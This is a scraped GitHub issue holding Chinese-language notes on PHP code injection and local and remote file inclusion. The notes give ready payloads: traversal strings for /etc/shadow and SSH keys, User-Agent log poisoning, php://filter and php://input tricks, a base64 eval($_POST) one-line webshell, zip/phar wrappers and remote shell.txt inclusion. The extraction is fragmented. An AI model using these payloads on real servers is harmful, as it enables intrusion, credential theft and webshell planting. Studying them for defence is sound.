We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
A book that remains shut is but a block.
PHP:eval、assert JavaScript:eval VbScript:Execute、Eval Python:exec Java:Java 内没有类似 PHP 中 eval 这种可以直接将字符串转化成代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如:OGNL、SpEL、MVEL 等,这些都能导致代码注入
PHP
eval assert callback 函数 preg_replace + /e 模式 unserialize() ( `PHP` 反序列化函数)
ret
eval("\$ret = $data;");
deal
eval("\$ret = deal('$data');");
${phpinfo()}
phpinfo
eval("\$ret = deal("$data");");
preg_replace
/e
eval
" '
{@${phpinfo()}}
preg_replace('/(.*)<\/data>/e', '$ret="\1";', $data);
JSON
addslashes
e
pre_replace_callback
服务器本地
第三方服务器
PHP 4
PHP 5
php.ini allow_url_fopen On 默认开启 可以包含远程文件,使用 ftp 和 http 协议 allow_url_include On 默认关闭 允许引用 URL 文件
include()
include_once()
require()
require_once()
require
include
html
/etc/passwd
./
?file=.htaccess ?file=./.htaccess
../
?file=./../../../var/lib/locate.db
.htaccess /var/lib/locate.db /var/lib/mlocate/mlocate.db /var/log/apache/error.log /usr/local/apache2/conf/httpd.conf /root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_rsa.keystore /root/.ssh/id_rsa.pub /root/.ssh/known_hosts /etc/shadow /root/.bash_history /root/.mysql_history /proc/self/fd/fd[0-9]* (文件标识符) /proc/mounts /proc/config.gz
User-Agent
Payload
User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0<?php phpinfo(); ?>"
?file=./../../../../../var/log/apache/error.log
exit()
open_basedir
/var/log/apache/error_log /var/log/apache/access_log /var/log/apache2/error_log /var/log/apache2/access_log /var/www/logs/error_log /var/www/logs/access.log /var/log/error_log /var/log/access.log /usr/local/apache/logs/error.log /usr/local/apache/logs/access_log
session
/tmp
sess_[your phpsessid value]
/var/lib/php5
shell
?file=../../../../tmp/sess_92d8nrMgJgQgViCwsDjbXOy
tmp
form-data
<?php include("inc/" . $_GET['file'] . ".htm"); ?>
%00
?file=../../../../../ect/passwd%00
magic_quotes_gpc=off
5.3.4
on
PHP 5.4
?file=../../../../../../var/www/%00
magic_quotes_gpc=Off
Unix
FreeBSD
OpenBSD
NetBSD
Solaris
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
5.2.8
Linux
4096
Windows
256
?file=../../../../../../../../../boot.ini/.....[...]........
// php.ini 中设置 open_basedir = /dir/user/
?file=[http|https|ftp]://example.com/shell.txt
allow_url_fopen = On
allow_url_include = On
txt
jpg
input
POST
?file=php://input // POST Payload <?php phpinfo(); ?>
PHP < 5.3.0
file_get_contents()
php://input
filter
// 读取 index.php 源码(base64 编码) ?file=php://filter/convert.base64-encode/resource=index.php // 读取 index.php 源码(base64 解码) ?file=php://filter/convert.base64-decode/resource=index.php
allow_url_include
decode
// 每次利用 file_put_contents 将字符逐个写入到文件 N 中 PD9waHAgZXZhbCgkX1BPU1RbOV0pOw // 解码后为 <?php eval($_POST[9]); // 最后包含文件 N,解码 param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N
data URIs
?file=data://text/plain;base64,base64编码的Payload
<?php phpinfo();
?>
zip
?file=zip://压缩包%23内部文件
#
URL
%23
.php
$include_file=$_GET[include_file]; if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" ) { require( $include_file ); }
1.php
zip.jpg
?file=zip://D:/ApmServ/www/htdocs/zip.jpg%231.php
phar
?file=phar://压缩包/内部文件
PHP > 5.3
<?php $p = new PharData(dirname(__FILE__).'/phartest.aaa', 0,'phartest',Phar::ZIP); $p->addFromString('testfile.txt', '<?php phpinfo();?>'); ?>
php.ini
phar.readonly=Off
rar
?file=phar://./phar/phartest.aaa/testfile.txt
phartest.aaa
testfile.txt
<?php include($_GET['file'] . ".htm"); ?>
?file=http://example.com/shell
?file=http://example.com/shell.txt? // 无法向攻击者编写的脚本传递参数,如果攻击者脚本加入了参数,会导致无法拦截
?file=http://example.com/shell.txt%23 // allow_url_fopen = On 并且 allow_url_include = On
?file=\evilshare\shell.php // allow_url_include = On
The text was updated successfully, but these errors were encountered:
No branches or pull requests
0x01 代码注入
PHP
中的代码注入ret
,可以直接造成代码注入deal
处理后赋值给ret
,单引号传参,闭合单引号就可以造成代码注入deal
处理后赋值给ret
,双引号传参,双引号在代码中有个很重要的特性,它可以解析其中的函数,比如传入${phpinfo()}
,phpinfo
将会被执行,而得到的返回值作为参数传入deal
,不需要考虑闭合双引号preg_replace
函数,第一个参数使用了/e
模式,第二个参数就会使用eval
来执行(/e
模式会对" '
进行转义),这里又是双引号包裹,和上面的一样,{@${phpinfo()}}
也可以造成代码注入JSON
保存数组、对象就使用JSON
,不要将PHP
对象保存成字符串,否则读取的时候需要使用eval
eval
的情况,一定确保用户不能轻易接触eval
的参数,或者严格的正则判断输入的数据格式,对于数据一定要使用单引号包裹可控代码,并在插入前进行addslashes
转义preg_replace
的e
模式,使用pre_replace_callback
替代,如果一定要使用e
模式,确保第二个参数中,对于正则匹配出的对象,是用单引号包裹的0x02 文件包含
服务器本地
时,形成本地文件包含漏洞第三方服务器
时,形成远程文件包含漏洞PHP
文件包含PHP 4
存在远程和本地文件包含,PHP 5
仅存在本地文件包含include()
include()
函数时才将文件包含进来,发生错误时只给一个警告,继续向下执行include_once()
require()
include()
一样,区别在于发生错误时,函数会输出错误信息,终止脚本的运行require()
在PHP
程序执行前,会先读入require()
所指定引入的文件,使它变成PHP
程序的一部分require_once()
require
一般是用于文件头包含类文件、数据库等文件include
一般是用于包含html
模板文件PHP
,则内容会被当成PHP
执行,不是PHP
则会读取到文件内容(比如读取/etc/passwd
等敏感文件)./
当前目录)../
上级目录)(可以获取其他配置文件)User-Agent
插入Payload
到日志文件User-Agent
用双引号包裹,比如Payload
后加上一个exit()
退出open_basedir
限制了目录session
文件session
文件一般在/tmp
目录下,格式为sess_[your phpsessid value]
,有时候也有可能在/var/lib/php5
之类,在此之前可以先读取配置文件来确定session
的值,可能可以获得shell
tmp
PHP
文件,如果以form-data
方式提交请求上传数据时,会生成临时文件,通过phpinfo
来获得临时文件的路径以及名称,然后通过包含临时文件执行代码拿shell
%00
截断magic_quotes_gpc=off
并且PHP
小于5.3.4
on
,会被转义导致截断失败PHP 5.4
之后修复截断特性%00
目录遍历截断magic_quotes_gpc=Off
并且Unix
文件系统,比如FreeBSD
、OpenBSD
、NetBSD
、Solaris
PHP
版本小于5.2.8
(?)可以成功,Linux
需要文件名长于4096
,Windows
需要长于256
PHP
版本小于5.2.8
(?)可以成功,只适用于Windows
,点号需长于256
PHP
中使用open_basedir
将用户可操作的文件限制在某目录下,即指定在某区域allow_url_fopen = On
并且allow_url_include = On
txt
和jpg
均可),这个文件不能被服务器解析,所以不可以为PHP
脚本文件,否则会导致攻击脚本不能在受害者机器上运行PHP
流input
(利用POST
将数据输入)allow_url_include = On
且PHP < 5.3.0
file_get_contents()
时,可以用php://input
绕过file_get_contents()
函数会将文件中的内容读取返回至一个字符串中,如果直接将字符串作为参数会报错php://input
的话,可以获取到POST
的数据file_get_contents()
返回的是字符串,无法被执行,而include()
是将字符串导入,可以作为可执行代码PHP
流filter
filter
过滤器,可以在执行代码前将代码换个方式读取出来,因为只是读取,所以无需开启allow_url_include
decode
,可以突破符号限制,写入一句话data URIs
allow_url_include = On
且PHP < 5.3.0
include
的文件流重定向到了用户可控制的输入流中,即将Payload
包含在了include
的文件流中<?php phpinfo();
此类执行代码没有?>
后缀,有就无法执行zip
协议zip
协议需要#
,为了避免和URL
协议中的#
冲突,转义成%23
.php
1.php
,里面可以写执行语句,比如一句话zip
,将压缩包重命名为zip.jpg
zip.jpg
上传phar
协议PHP > 5.3
phar
后缀,需要代码来生成,zip
后缀也可以phar
的时候注意php.ini
中phar.readonly=Off
zip
协议压缩,rar
不行URL
中的压缩包后缀可以是任意后缀phartest.aaa
是一个zip
文件,其中有个一个testfile.txt
The text was updated successfully, but these errors were encountered: